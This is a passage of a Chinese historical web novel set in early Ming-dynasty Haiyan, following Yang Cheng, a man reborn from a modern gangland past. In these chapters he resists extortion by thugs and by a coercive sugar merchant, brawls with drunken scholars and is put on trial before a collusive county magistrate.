这世上永远有人看不得别人快乐,尤其是看不得和自己身份差不多的人快乐。 几个衣服上打着块补丁的混混围了上来,伸手一指两人。 “乡下小子,得了什么狗头金了,乐成这样?拿出来让爷们看看!” 杨草吓了一跳,手捂得更紧了,一个混混却认出他来了。 “这不是杨草吗?怎么,到县城来伸手发财,拜过孙二爷的门了吗?” 杨草涨红了脸:“我不是来偷东西的,我早就说过,我不偷东西!” 那混混笑道:“你小子别不识抬举,要不是看你爹当年有些手艺,孙二爷还不想收你呢。 你既然不肯拜孙二爷的门,那敢在县城里伸手,就是坏了规矩。 东西都交出来,我跟孙二爷求求情,保住你的手指头。” 杨牛大怒,就想动手,可手里抱着红糖罐子,又怕打破了,只是看向杨成。 杨成上前一步,挡在杨草前面:“听说官府对贼盗刑罚很重,你们孙二爷的门儿还开着呢?” 那混混打量了杨成一眼:“小子,官府是白道,我们是黑道,各有各的道。 别看官府叫得凶,没用。从三皇五帝到如今,哪朝哪代的官府不打击黑道,可黑道消失过吗? 你如果想靠官府,就别妄想了。真报了官,我们没事,你兄弟的手指头就保不住了。” 杨成淡然道:“怀里有钱不假,但不是偷的,是我兄弟做生意赚的。” 混混冷笑道:“是吗?就算是做生意,只要是在城里,也得有孙二爷一份儿。 本地的商铺,还得按月给孙二爷银钱呢。你们头一次进来,留下两成儿,下次可以少点。” 其实那些乡下人进城卖些鸡蛋菜蔬,这些混混并不会索要钱财,他们主要是针对商铺。 也许今日不过是看这三个小子年纪不大,又好像带着不少钱,所以临时起意,诈一下。 杨成心中冷笑,这些混混的行事风格和思维方式,和几百年后并没有什么不同。 他自己年轻时也曾混迹其中,后来改头换面后,手下的手下的手下中,仍然有这种人。 所以他看着这几个混混的做派,不但觉得好笑,甚至还有点亲切。 “我在杨家湾也听过孙二爷的名号,不知道你在城里听没听过杨老虎的名头?” 混混一愣,盯着杨成:“杨家湾的杨老虎?你是他什么人?” 杨成点点头:“我是他孙子杨成。我再说一遍,这钱是我兄弟做生意赚的干净钱。 现在我缺钱,还不能孝敬你们。你若不肯,动手也罢,经官也罢,我都陪着。” 几个混混面露犹豫之色。这城里的混混也不是石头里蹦出来的,都是海盐本地人。 而只要是海盐人,就肯定听说过杨老虎,也知道杨老虎有个叫杨成的孙子,未来要兼祧七家香火的狠人。 一个混混小声道:“杨老虎虽威风,可骨头都快烂没了,杨家湾也不是啥大村大族……” 领头的混混眯起眼睛,心里盘算了一下,换了笑脸。 “既然是杨成兄弟,那就是自家人,一场误会。 我叫孙则,是孙二爷的侄子,以后在街面上有麻烦可以找我。 不过有件事儿我得提醒你,我们敬佩你父祖爷兄,可你也不能坏了规矩。 若是做生意自便,若是做黑道的买卖,那得先来拜门,否则真抓住了,别怪我们不讲情面。” 混混们扬长而去,杨牛嘿嘿一笑:“还是成哥的名头好使!” 杨草满脸涨得通红,眼圈也红了,杨成拍了拍他的肩膀。 “你爹当过贼,跟你没关系。你爹被官府剁了手指,罚没家产,已经赎了罪了。” 杨草吸吸鼻子:“其实我知道,就是在村子里,大家看我的眼神也都有防备。” 杨成淡然道:“那你就跟着我好好干。等你有了钱,别人就那么看你了。 在人们心里,有钱人是不会做贼的。哪怕你真做了,他们也只会觉得你是在开玩笑。” 等杨成三人走远后,一个人影从角落里钻了出来。 孙则一把揪住那人的衣领:“你小子不安好心是吧,想拿我当刀使唤? 之前为什么不说那小子是杨老虎的孙子? 我要真动了他,杨家湾能不和我拼命?这么硬的骨头,想崩了我的牙吗?” 那人点头哈腰:“孙哥,我真不是有心隐瞒的,而是从心里就没把这当回事儿。 这小子在族里名声也不好,没谁会护着他的。我敢跟孙哥保证! 这小子也不知道鼓捣些什么东西,但肯定是弄到钱了!我就赶紧告诉孙哥你了!” 孙则不耐烦地挥挥手:“滚吧滚吧,他一个小崽子,能有多少钱,不值当的!” 第七章 恶商 京福斋的东家白鹿山,正在家中搂着干女儿喝酒调笑。 这倒不是白鹿山有倭寇或娱乐圈的爱好,实在是被朱元璋这不解风情的家伙逼的。 当初穷棒子朱元璋讨饭时,估计看有钱人一大堆奴仆,自己却吃不上饭,十分的羡慕嫉妒恨。 等他当了皇帝,就宣布只有有功名的人才可以使用奴仆,否则就是违法。 这就苦了那些商人和地主。他们很有钱,但却没权利使用奴仆,难道还得自己扫地倒马桶? 历来上有政策,下有对策。商人和地主们分别想到了不同的对策。 地主们名义上不养奴仆,但要求佃户轮流到自己家里义务或有偿劳动,还可以养男女长工。 而商人则让学徒、雇工住在自己家里干活。看谁顺眼,打算长期使用,还可以认干儿子,干女儿。 朝廷管天管地,管不了人家认干亲。而且最妙的一点是,认干亲这事儿不需要任何的官方手续。 只要俩人都承认这个关系,那就成立。明天俩人不承认了,那就没这层关系了。 所以今天还是干女儿,明天就成了小妾,官方也没法干涉。 正在兴头上,掌柜的急匆匆赶来,张口就是“不好了”! 白鹿山很扫兴,皱眉道:“怎么了?慌慌张张的,成何体统?” 掌柜的急道:“不知道桂花斋从哪儿弄来了一批极品糖霜,点心品相大好! 不但如此,城中富户和贵人们,纷纷到桂花斋,单独购买糖霜,生意好得不得了。” 白鹿山一愣:“糖霜咱们也有啊,历来都是咱们挑剩下的,供货商才卖给他们啊!他们哪来的好货?” 掌柜的就知道白鹿山不信,他早有准备,摸出一个小盒子来,珍重地放在桌子上打开。 白鹿山看着盒子里那欺霜赛雪般的糖霜,眼睛一下子瞪圆了。 带着些许的不信,他掏出银耳挖来,挑了一些,放进嘴里,眯起眼睛。 “好货,真是好货啊!那些糖商从没供过这样的极品!这是哪儿来的?” 掌柜的低声道:“我让人打听了,这几天并没有新糖商来过城里。 何况咱们和那些糖商都是有契约的,货都要咱们先挑,谅他们也不敢胡来。 倒是今天中午,刘通去过桂花斋,听说出门时王德福亲自送出门的。” 白鹿山皱眉想了半天,才想起刘通是谁,他眯起了眼睛。 “王德福虽然总是一副平易近人的架势,可他毕竟是桂花斋的东家。 虽然这几年被咱们挤兑得够呛,可也不至于对刘通这样的小商人如此客气。 派人再去查查,若真是刘通的货,你就把他请过来聊聊!” 白鹿山请到头上,刘通不敢不去,而且他也知道,自己卖糖霜这事儿是瞒不住的。 像糖霜这种高级货,渠道比较窄,出现新的货源,像京福斋这样的大商家不可能不知道。 对着满桌酒菜,刘通看着眼前的白鹿山,不停地给自己打气。 白鹿山人到中年,强壮的身材也已经发福了,但圆脸上的笑容里,仍然带着凶狠。 就像一把变了形的刀,但锋刃依旧寒光闪闪,让人不敢直视。 “我说话不喜欢绕弯子,今天请刘掌柜来,是为了糖霜的事儿。 刘掌柜的糖霜,以后卖给我吧,价钱不会比桂花斋的低。” 刘通赔笑道:“白东家,不是我不识抬举,实在是已经和桂花斋签了契约了,怎敢反悔? 何况京福斋是大买卖,还会缺了供货商吗?白东家就别难为我了。” 白鹿山的笑容顿了一下:“当着明人不说暗话,你那糖霜,纯度比市面上的都高。 短时间内还没什么,时间长了,那些贵人看到桂花斋的点心更精致,对我就大为不利。 这样,不管桂花斋给你多少钱一斤,我都加二百文,如何?” 刘通压根也没想过要和白鹿山合作。京福斋的名头虽大,在圈子里名声却不好。 白鹿山出身黑道,为人凶狠霸道,仗着府里京里都有后台,不讲商业规则,欺行霸市。 原本在本府,桂花斋是老字号,但白鹿山开了京福斋后,便威逼利诱,从桂花斋挖走了大师傅。 同时又给供应商施压,在紧俏材料上卡桂花斋的脖子。 桂花斋还动不动就被混混闹点事儿。一来二去,就把桂花斋打压下去了。 而京福斋也取代桂花斋成了本府进贡糕点的字号,有了贡品的名头,贵人们趋之若鹜。 而白鹿山这两年的生意也不再局限于京福斋,听说涉猎更广,势力也更大了。 像刘通这样的小商人跟白鹿山做生意,向来只有吃亏大小,就没听说谁能占到便宜的。 别看今天他多给两百文,将来他一定会想办法连本带利地吃回去。 到时自己还得罪了桂花斋,生意就更没法做了,所以两害相权取其轻…… 刘通一口咬定,生意人当以诚信为本,死活不肯同意毁约。 刘通相信,白鹿山已经是大商人了,现在也不是元末乱世,他不敢太过火。 看他挤兑桂花斋的手段就知道,最多是商业挤兑,混混闹事,让自己的铺子开不下去。 可这糖霜的生意,比自己的铺子可赚钱多了,自己决不能丢了西瓜捡芝麻。 见刘通如此顽固,白鹿山的笑容变冷了,眼神如刀般盯着刘通。 “刘掌柜,面子我是给足你了。你不接,就是不给我面子,咱们走着瞧。 只要那糖霜不是你自己做的,我就能想办法买到,到时你可别后悔!” 刘通连连点头,菜也没敢吃一口,就落荒而逃。 心里暗暗祈祷杨成能说话算话,尊重契约,千万别让自己鸡飞蛋打。 看着刘通的背影,白鹿山一掌拍在桌子上,酒杯掉在地上,打得粉碎。 干女儿出来收拾地上的碎片,白鹿山一把抓住她的头发拽过来。 “我现在火气很大!” 第八章 聘狗 白鹿山的能量不是吹的,很快他就已经查到了这段时间和刘通接触过的可疑人员。 可听到杨老虎孙子的名号时,白鹿山还是愣了一下。 如果是外地商人,白鹿山都已经准备好了一整套威逼利诱的办法。 在这方面,他有成熟经验。这年头只有地头蛇,没有过江龙。 托朝廷严管流动人口的福,如今各地的黑道,都只能窝在自己的地盘儿里。 真想弄个几十上百人过来PK,没等到地方,半路就先被查路引的官兵给灭了。 假如这外地商人有官方后台,那也不惧。 因为白鹿山知道,对方的后台可能只是某个官员,而自己的后台…… 可杨老虎的孙子,就有点麻烦了。 杨家湾虽然不是大宗族,可杨老虎当年带着义军护住了多半个海盐地区,遗泽遍地。 加上杨老虎家七个儿子只剩了这一条根,真要下黑手,别说杨家湾会拼命,没准还会有别的麻烦。 所以只能先来软的,假如一定要上硬的,也必须要想个巧妙之法才行。 当天晚上,白鹿山就坐着豪华车轿,直奔杨家湾杨成家门口,自己亲自提着礼盒进门。 村里人看着这豪华的车轿停在了杨成家门口,纷纷围观猜测。 “这人说是来找杨成谈生意的!小成子不是说在城里做点小生意嘛,怎会有这等豪商上门?” “这生意肯定小不了啊!这样的大车轿,整个县城也没有几辆!” “我就说小成子有出息,也不看看人家父祖都是干什么的,龙生龙凤生凤,能差得了吗?” 只有李正站在人群里表达不同意见:“唉,经商虽也是正道,总归低人一等。 杨成是有几分小聪明的,不该用在这上,而该好好读书科举,方是正道,奈何奈何……” 替杨成把守作坊大门的杨牛赶紧澄清:“谁说成哥做生意了?是杨草做生意,成哥帮他而已!” 屋里,白鹿山看了尖嘴猴腮的杨草一眼,了然地笑了笑。 “无妨,谁出面都无妨,我只是找说了算的合作罢了。 成兄弟,你的糖霜让刘通过一手,估计至少两成的利就没了,何必呢? 在海盐城做生意,最重要的是靠山。只有靠山硬,生意才能顺利。 若是我们合作,我一斤糖霜直接给成兄弟四千文,而且保证没人敢碰你,如何?” 杨成笑了笑:“白东家,我不是商人,也不会做糖霜。糖霜是刘掌柜寄存在此的。 他和我兄弟签的契约,也只是掩人耳目罢了。多绕个弯子,免得让人知道进货渠道罢了。” 白鹿山的目光扫了一眼院子里的作坊,语气更加诚恳。 “成兄弟不愿担上商人的名头,这我懂。朝廷不待见商人,我等同病相怜。 为了犬子读书科举,我也买了一片田地,佃了出去。不图租子,只为要个农户身份。 当着明人不说暗话,一样是赚钱,你为何不肯跟我合作,非要找刘通呢?” 杨成沉吟片刻,语气也更加诚恳:“白东家,我不管跟谁合作,都要能掌控全局,而不能被人掌控。 所以我选刘通,不会选你。你也不必说可以让我掌控,这话你敢说,我也不敢信。” 白鹿山的笑容渐渐隐去,坐直了身子,扫了一眼这宽敞而破败的大院子,点了点头。 “不亏是杨老虎的孙子,可惜,现在已经不是二十年前了。 人人都想掌控别人,不想被别人掌控。可实际上,就连被人掌控的资格,都是要拼命去争的。 我也被人掌控,你知道我是击败了多少人,才获得了被人掌控的资格吗? 就拿刘通来说,他为了能被你掌控,不惜得罪我,这也是在玩命! 既然谁都逃脱不了被掌控的命运,就该努力做到让更高层的人掌控,你说呢?” 杨成点点头:“不错,我也逃不脱被掌控的命运。所以如果一定要被掌控,我得选个更高层的。” 白鹿山愣了一下,随即点头冷笑:“好,够狂,我欣赏。我等着你来找我。 不过到那时,就不是合作了,我会出钱买你做糖霜的手艺,告辞。” 深夜,杨牛回家了,杨草和杨成睡在最靠近作坊的屋子里。 一个黑影静悄悄地靠近院子,在夜色的掩护下,翻墙进院儿,手脚十分利索。 然后贴着墙根走到作坊门口,四下打量一下,见作坊的窗户上镶嵌着铁条,知道进不去。 他扒着铁条往屋里看,里面黑洞洞的,月光照不进小小的窗户,什么也看不见。 杨草忽然睁开眼睛,推了推杨成:“哥,作坊那儿有人。” 杨成翻了个身:“你去起个夜,把他吓走就行了。明天咱养条狗。” 第二天,杨成在村里询问谁家有狗要送。 在农村,家里养条狗很正常,但一般只养一只,因为狗也不能只靠吃野食活着。 人都勉强吃饱的时候,多一张嘴就多一份负担,狗嘴也是嘴。 所以如果家门不幸,养的母狗被拱了,生下的小狗基本都是要送出去的。 除非大狗已经垂垂老矣,留一个做接班人,才会出现养两只狗的现象。 村里人热情地告诉杨成,李正家的狗被拱了,只生了一只小狗,却送不出去。 那小狗脾气暴躁,见人就咬,所以没人愿意要。李正家养了两个月了,正在发愁呢。 屠户说那狗像狼崽子,劝李正打死算了。李正不忍下手,就这么放着呢。 杨成兴冲冲地上门了,手里拎着一根带着肉渣的猪腿骨,还很讲究地系了根红绳。 开门的是李香儿,一见杨成,立刻沉下脸,咬着嘴唇转身就走。 李正迈着方步走出来,脸色倒是比以往好很多。 “小成,可是有事儿?” 杨成点头:“我是来下聘礼的。” 还没走回屋的李香儿一下停住了脚步,红着脸扭头怒视:“无赖!” 李正倒是没发怒,叹口气道:“你能痛改前非,我虽非杨家人,也是很开心的。 只是你和香儿的事儿,之前也并非只是因为你的人品问题。你若非身祧七家,唉……” 杨成拿出大骨头:“我是来聘狗的。宋人讲究聘猫,为风雅事。先生是读书人,我岂能不知理?” 李香儿气得一跺脚,转身就进屋了。李正哭笑不得,拈着胡子摇头。 “你呀你呀,还是如此油腔滑调。小狗就在窝里,凶得很,不好抱,否则早就送出去了。” 李香儿从屋里大声道:“爹,你别管他,让他自己去,免得再把你咬了。” 杨成拿着大骨头走到狗窝前,大狗龇牙抬头,那个黑色的小狗,也龇牙咧嘴,比大狗还要凶上几分。 杨成把大骨头扔到窝前,对大狗行了一礼,然后伸手去抱小狗。 大狗小狗同时龇牙咆哮起来,作势要咬,杨成伸出两只手,同时掐住两只狗的脖子。 两只狗都在拼命挣扎,歪头要咬他,喉咙里也发出呜呜的咆哮声,却挣不脱两只铁爪般的手。 杨老虎的基因名不虚传,但他穿越过来后,似乎也给这副身体带来了前世的狠劲儿。 他冰冷的眼睛盯着两只狗,带着野兽的威压,就像一只刚成年的老虎。 随着手越收越紧,两只狗的咆哮声越来越弱,挣扎也越来越弱,最后都尿了。 恶狗和恶人一样,都怕更凶恶的东西。 杨成松开手,两只狗掉在地上,全身发抖,呜咽着抬头看他。 杨成抱起小狗,对大狗轻声道:“我带它去过好日子。你放心。” 走到门口,杨成回头,看着正从窗户偷偷往外看的李香儿,微微一笑。 “聘礼收了,狗我带走了。” 第九章 书生 数日后,杨成再次进城,到刘通铺子里送货收钱。 刘通特意把铺子上了板,搞得像特务接头一样。 昏暗的房间中,刘通紧张地看着杨成,他憋了好几天了,但一直不敢去找杨成。 因为他害怕杨成误会是自己出卖了他,从而丢掉自己的跑腿差使。 “杨老弟,白鹿山有没有查到你?天地良心,我可是什么都没说啊。” 杨成手里把玩着秀儿绣好的团扇,就像没听见似的,刘通只觉得自己心跳一直在加速。 就在刘通快要心率过速的时候,杨成冲秀儿微微一笑。 “这绣功比之前的还好,可见是用了心的,得加钱。” 秀儿的扇子已经绣完了几把,因为精益求精,所以绣得并不快。 听见杨成夸赞,秀儿脸上一红,低声问道:“可,只绣这一句话在半边扇面上,看着好古怪啊。” 杨成笑道:“不急,后面有你绣的。只怕到时你忙不过来呢。” 然后才转头看向刘通:“刘掌柜,我想听听,你为何做桂花斋的生意,而不做京福斋呢?” 刘通赶紧说道:“虽说无商不奸,可商人也要有商人的底线。 那白鹿山是个无底线的商人。他行的不是商道,而是霸道。 跟他合作的商人,就两个结果,要么变成他的狗,他让咬谁就得咬谁。 要么变成他嘴里的骨头,吃干抹净后还要敲骨吸髓,直接变成渣子。” 怕杨成不信,刘通举了个例子:“有钱的商人,认些个干女儿也是常有的事儿。 可人家别人即使玩了,总归是认账的,或纳妾,或给笔钱找个人家。 白鹿山的干女儿,丑些的还能安稳当奴仆,有些姿色的他玩完了,就塞给自己的干儿子!” 杨成想了想:“给自己的干儿子,也算是有个归宿,和那些给钱的有什么不同吗?” 刘通小声道:“你知道朝廷是不允许商人豢养买卖奴仆的,但却允许家贫者典妻卖妻。 那女子是他干儿子的合法妻子,回头便以家贫为由,转手卖给了人牙子……” 杨成沉默片刻:“老刘,看来我没找错人。白鹿山去找过我了,我说只是帮你看货的。 你放心做,若是白鹿山挤兑你,我不会袖手旁观的。” 杨成只是个刚成丁的毛头小子,生意上也是个刚起步的生瓜蛋子,可刘通却莫名觉得很踏实。 聊完闲话后,开始办正经事,交割货物。 桂花斋结款痛快,刘通这次资金比较充裕,囤的红糖也比以前更多,恨不得杨成都能尽快变成糖霜。 杨成拿了几把团扇,又告诉刘通,手里若有钱,全都入手这种便宜的加梁团扇,越多越好。 刘通迟疑道:“这种半片绢子拼成的加梁团扇,都是些小门户的女眷使用,销量不高。 大户人家都用整幅绢子做的无粱团扇,咱们入手那么多,能卖得了吗?” 杨成淡然道:“信我你就入,你若不愿入,我找别人入就是了。” 刘通吓了一跳,忙不迭地点头:“我入,我入,只要挣钱,你说怎么入就怎么入。” 刘通想明白了,别管扇子挣钱赔钱,糖霜才是正经事儿,不能因小失大,得罪了杨成。 刘通急着出门送货,杨成三人也就告辞了,带着比上次更多的银钱和红糖出城。 刚上主街,没走多远,前面就传来一阵骚动。 几个读书人在主街正中间,谈笑风生,招摇过市,周围百姓商贩纷纷躲避。 尤其其中还有两人穿戴着方巾襕衫,一看就是秀才功名持有者,更是不可一世。 在这小小的海盐城中,举人凤毛麟角,秀才已经是了不得的功名了。 这倒不是海盐的学习风气不好,而是朱元璋登基之后,曾经暂停过十多年的科举制度。 因此科举重兴不过是近两年的事儿,还没形成那么庞大的读书人群体。 像杨家湾里的李正,如果不是中间这十几年的暂停,也许早就混上童生了。 路上行人,无论良籍贱籍,农工商军,都得路边避让,弯腰行礼,以示尊敬。 那些没有秀才功名的,此时自然也不会避嫌,而是狐假虎威地跟在秀才身边,享受礼遇。 杨成心中想着事儿,杨草和杨牛沉浸在成哥赚钱了的喜悦中,闪避稍慢了些。 一个秀才拍了拍一个书生:“子业兄,看看那三个泥腿子,不但不礼让,看似还在嘲笑咱们。” 那个书生立刻像得了圣旨一样:“大胆,无礼,见到我等读书人敢不避让?” 杨成拱拱手:“各位相公,我等一时走神儿,有所冲撞,还望各位海涵。” 那书生打了个酒嗝:“你说话还算文雅,可你们到现在也未行礼,又是何故?” 杨成皱皱眉,刚要说话,杨草和杨牛已经弯腰鞠躬了,他也就没说什么。 不想那喝酒的书生依旧不依不饶:“手里还抱着东西,何等失礼,还不放下行礼?” 杨草和杨牛对视一眼,虽然他们知道读书人尊贵,不能得罪,却也不愿放下东西。 这人多手杂的,万一东西被人趁乱摸走怎么办?那可是杨哥娶娘子的钱! 那读书人大怒,他确实喝了不少,此时心里膨胀得不要不要的。 何况他出身不佳,考了好些年也未能中个童生,平时在书生群体里没啥存在感。 要不是他在书院里巴结上了郭秀才,只怕这些书生都不会带他玩儿。 也正因如此,他格外在意书生们对他的看法。一直积极表现,努力刷存在感。 “放下,我让你们把东西放下重新行礼!你们听见没有?” 其他书生见他发酒疯,有拊掌大笑的,有摇着扇子微笑不语的,也有微微皱眉的。 两个秀才众星捧月般地站在书生们中间,对视一眼,嘴角带着些嘲讽。 也不知是在嘲讽那三个乡下小子的窘迫,还是在嘲讽那个狐假虎威的书生。 一个童生上前阻拦道:“刘兄,何必如此,我们读书难道是为了让人行礼吗?” 那刘书生瞬间变笑脸:“庞兄,话不是这样说,我们读书知礼,自然也要教给别人知礼,才是教化之道啊。” 然后回过头来,脸色瞬间又变得狂傲:“说你们呢?没听见吗?难道想让知县打你们板子不成?” 第十章 知县 此时人们有个根深蒂固的想法,知县老爷也是读书人,和读书人是一伙儿的。 所以哪个读书人说要把人送去打板子,绝大多数平头百姓都会心惊胆战。 见两个兄弟手足无措,杨成目光中闪过一丝凶狠。这不是这辈子的,而是上辈子的目光。 如果他还是原来的杨成,只想在杨家湾称王称霸混一辈子,今天服个软也没什么。 但他志不仅此,所以今天这个脸不能丢。众目睽睽,可以被打倒,不能被吓倒。 被打倒后很容易就能站起来,被吓倒后,一辈子都站不直了。 杨成客客气气地拱手:“这位相公,看穿着不是秀才,不知可有童生功名?” 刘书生脸上略有尴尬,但气势不减:“我们读书人之事,你不懂,瞎问什么?” 杨成冷笑道:“也就是说,阁下连童生都不是,除了穿件长衫之外,和我也没什么不同。 我也是读过几本书的,如果这就能算是读书人,那还真是拉低了读书人的门槛啊。” 刘书生大怒,他最听不得的就是他不是读书人这话,大怒之下,酒劲上头。 仗着身后有两个秀才,若干童生的势力,挥手就要给杨成一个大逼斗。 之所以用巴掌而不是拳头,当然是刘书生认为读书人打人也要文雅些,不能像平头百姓一样粗俗。 掌掴比拳头文雅,就像喝毒酒比上吊文雅,上吊比砍头文雅一样,读书人必须懂这些。 可惜刘书生的文雅没能换来同等对待,杨成伸手一把抓住了刘书生的巴掌。 他没还手,一是不需要,二是他觉得事有蹊跷,书生就算狂傲,也犯不上如此相逼。 但他的手劲很大,刘书生已经嚎叫起来:“好疼好疼,胳膊要断了,快放开我!” 这时那最先怂恿刘书生的秀才忽然大喝一声。 “反了反了,竟敢殴打我等读书人,大明是没王法了吗?同学们,我等共击之!” 那个劝架的童生犹豫一下,没有动手,其他书生有的站着没动,但大多数人都跟着那秀才冲了上去。 杨成三人瞬间被围在了中间,一片混乱中,杨草死死护着怀中银钱,打不还手。 杨牛护着杨草及怀里的红糖,用宽厚的后背,挡住众书生的拳脚,发出擂鼓一样的咚咚声。 杨成大怒,但他下手仍有分寸,不用拳脚,只用膝盖轮流对着书生们的裆部顶去。 一片哀嚎声后,众书生纷纷捂裆蹲地,涕泪横流,骂声不绝。 围观群众发出了惊呼声,他们经常见这些书生招摇过市,盛气凌人,可还没见过有人敢还手的。 “握草,这年轻人,握草,这年轻人!” “这孩子要惹祸了,书生岂是好打的?” 被打得最惨的是刘书生,他顶在前面,被杨成顶了三下,脸上满是蛋蛋的忧伤。 “住手,你们不要再打了!” 超然站在外围郭秀才终于开口了,脸色十分难看。 他虽然对挨打的刘子业并不在乎,但在书生圈儿里,大家都知道刘子业是他的狗腿子。 打狗还得看主人呢,何况刘子业也不是一点用处没有,譬如去醉花楼时就能衬托他的文采风流。 更别说亲自动手的白秀才了,这是他同窗好友,又是他父子的移动支付商。 在万众瞩目中,郭秀才上前一步,手挥折扇,居高临下地看着杨成。 郭秀才身材高挑,虽然很瘦,但配合上他自信的气势,确实可以对人形成居高临下的压力。 杨成伸手推开捂脸哀嚎的刘子业,缓缓站直身子,郭秀才这才发现,对方并不比他矮。 而且有一种凌厉的气势,就像一把闪着寒光的利刃逼到人的面前,让人忍不住后退一样。 郭秀才镇定一下,才忍住没有后退:“就算刘子业没有功名,你随意殴打他人,也是有罪! 何况这些人中,有童生有秀才,你竟敢动手殴打众人,侮辱斯文,胆大包天!” 杨成环顾四周:“众目睽睽,都能看见是他们先动手打我的,我只是招架而已。” 郭秀才顿了一下,冷笑道:“好一张利口,你当我是瞎子吗?” 杨成淡然道:“你们从一开始就不断挑衅,我们一直以礼相待,这些都看不见,难道你不是瞎子?” 郭秀才的折扇猛地合了起来:“好,好,好,在海盐县城里,很久没人敢这么跟我说话了。你可知我是谁吗?” 杨成的目光扫向人群,此时此刻,自然该有吃瓜群众报上此人名号。 果然有人说道:“这孩子要倒霉了,这位秀才可是知县大人的公子郭永啊!” 杨成心里叹了口气,上辈子他遇上的第一个大坎也是如此,命运何其相似。 上辈子他父亲在集上摆摊,被混混勒索两倍摊位费,他和两个发小儿赶去讲理。 然后就打了起来,那是他扬名立万的起点,原本只想护着老爹,结果打成了那个集市的老大。 对方抢了两次,都铩羽而归,然后就动用了官方力量。 他被关了十五天,在里面又打了一架,并结识了一个有能量的大哥,也算因祸得福。 可他最终不得不退了一步,因为那个大哥告诉他,民不与官斗,除非你身后有更大的官。 现在他的局面还不如上辈子,上辈子毕竟是现代,官吏下手也得有个分寸。 现在这年头儿,知县就是百里侯。破家的知县,灭门的知府,岂是随便说说的? 不等杨成想完,郭秀才已经喊了起来。 “捕快何在,把这狂徒给我拿下,我要带同窗们击鼓鸣冤!” 两个巡街的捕快挎着腰刀,推开众人走过来,到了跟前,看清两伙人,顿时一愣。 城门口的税吏,就是捕快们轮流上岗的,此时的捕快中有一人就是之前认出杨成的税吏。 他看着蹲了一地的读书人,心里暗暗叫苦,走到杨成身边,抓住杨成的胳膊,做出抓人的姿态。 却在杨成耳边小声道:“你惹祸了。朝廷不让本地为官,知县不是海盐本地人,未必会给你面子啊!” 杨成点点头,低声道:“多谢老兄告知,我心里有数了。” 第十一章 上堂 看着公堂下面围了一群吃瓜群众,知县郭纲暗暗皱眉,可又没法下令清场。 本来前朝知县审案,是可以闭门清场的。但大明洪武初期,朝廷有新说法儿。 除了涉及女子贞洁、官员、谋逆等特殊案件,普通案件不得拒绝百姓围观。 朱元璋始终对官员们不放心,除了成立锦衣卫查探外,利用舆论压力震慑官员也是办法之一。 就算官员不怕舆论压力,看的人多,将来锦衣卫下乡访谈时,消息源也比较多。 郭纲一拍惊堂木:“堂下何人,何事击鼓,从实道来!” 秀才郭永和白飞金站在堂下,其他书生无免跪之权,都和杨成等人一样跪在地上。 不过书生们个个夹紧两腿,扭来扭去,跪姿显得相当古怪。 郭永使了个眼色,白飞金知道这种场合下,郭永身份特殊,不便首告,便夹着两腿挺身而出。 “县尊大人,我乃本县秀才白飞金。今日我等同窗好友,小聚欢饮。 结果在街上遇到这三个乡野村夫,不守礼数,出言羞辱我等。 这也罢了,他们竟然还悍然动手,殴打我等,导致刘子业重伤,我等也皆有伤在身。” 郭纲看向杨成:“被告何人,白秀才所告之事,你可承认?” 杨成摇头道:“小人杨家湾杨成,今日进城购物。他们酒醉挑衅,动手殴打我等。 我三人遵纪守法,并未还手。堂下百姓,都亲眼目睹,可为人证,大人不妨询问。” 这话难以驳回,郭纲看向堂下,语带威胁之意。 “可有人愿意为杨成作证吗?须知作伪证与案犯同罪!” 堂下百姓小声议论,似乎是杨成的名字让他们想到了什么,嗡嗡声一片。 郭纲满意地点点头,看来自己暗示到位,没人敢当这个出头鸟儿。 “既然无人为你作证,刘子业伤情一目了然,你难逃罪责……” “小人等愿意为杨成作证!” 一个须发斑白的老头儿走出来,似乎是众人推出的代表。 郭纲压着怒气:“你是何人,表明身份!” 老人道:“小人是刘家湾人士,今日进城采买。堂下百姓中有小人的乡里,皆愿为杨成作证。 确实是书生们挑衅,且动手在先。杨成三人一直招架,并未看到动手互殴。” 郭纲沉吟道:“你刘家湾与杨家湾相邻,想来两村关系甚密,可算一面之词……” 堂下又走出一个老者:“小人是大柳村人,和村中几人在城中帮人盖房。 小人等愿意作证,书生们挑衅打人,杨成三人一直招架,并未还手。” 人群中还有几人,向前跨了半步,显然若知县仍不采信,就要接连站出来了。 郭纲眉头越皱越紧,这事儿不对劲。这样有弊无利之时,平时这帮草民绝不会如此积极出头的。 他的目光扫向师爷,奈何师爷是跟他一起来的,也并非本地人士,也有些摸不着头脑。 这时捕头凑到师爷身边,小声跟师爷说了几句话,师爷恍然大悟,立刻凑到郭纲身边耳语。 郭纲心中恼怒,白鹿山这厮,只让他震慑杨成,却没有告诉他杨成竟还有如此身世。 这种乡贤虽无功名财势,但处理起来颇为麻烦,更何况像杨成这种情况,更是特别棘手。 但此时箭在弦上,不得不发,郭纲一拍惊堂木,喝道。 “就算如众人所说,是书生们挑衅在线,但你三人并无伤痕,而这些书生……” 郭纲停住了,询问地看着白飞金,意思是你们口口声声说受伤,还说刘子业重伤,伤在何处? 白飞金神色尴尬,但不能不说:“大人,这厮下手阴狠,我等皆……这个私处受创。” 杨成冷笑道:“空口白牙,谁不会说。若真有伤,当堂验伤便是。 若真有伤,互殴之罪该打该罚,知县大人依法处置便是。” 挨打的书生们都怒不可遏,却没一个人肯脱下裤子验伤的。 就算可以到后堂由公差验伤,但看那些捕快们憋着笑的神情,书生们也是玩玩不肯的。 开玩笑,书生的私处岂是这些人随便能看的? 身体发肤受之父母,除了父母妻子,青楼知己,谁能随便看? 万一那些捕快扯老婆舌,把自己的大小长短,形状毛发描述出去,被人耻笑还在其次,还有极大的隐患! 不要以为这是笑话,在古代,私处的特征是断案很重要的证据! 曾有女子状告被人奸污,那人咬牙不认,官府一时也没有办法。 结果女子直接说出此人的锤棍之间有颗痣,官府查验属实,直接大刑伺候,打服定罪。 事情就此进入僵局,书生们无法证明受伤,百姓们又证明是书生挑衅在先。 最后郭纲只好草草结案:“双方街上偶遇,杨成身无功名,本当礼让秀才,有过在先。 书生们激于义愤,发生口角推搡。因双方各有过错,且均未受伤,本官判罚如下。 杨成有辱斯文,当略施薄惩,打十板,罚钱五百……” 众百姓心中叹气,却无可奈何。他们身为草民,已经仁至义尽了。 殴打之罪不成立,但有辱斯文这一条,类似寻啥滋啥,是读书人手中的万能帽子,随时可以扣下来。 杨成忽然自言自语道:“有辱斯文才挨十板子,罚五百钱,倒也不多。 可我若没记错,今年是乡试之年吧。当今朝廷抡才大典,据说不但重文才,更重人品。 如果百姓只因在路上见到官员之子没行礼,就被官员打板子罚钱。 不知这事儿传到府城,乡试主考官作何感想?传到京城,朝廷又作何感想啊。” 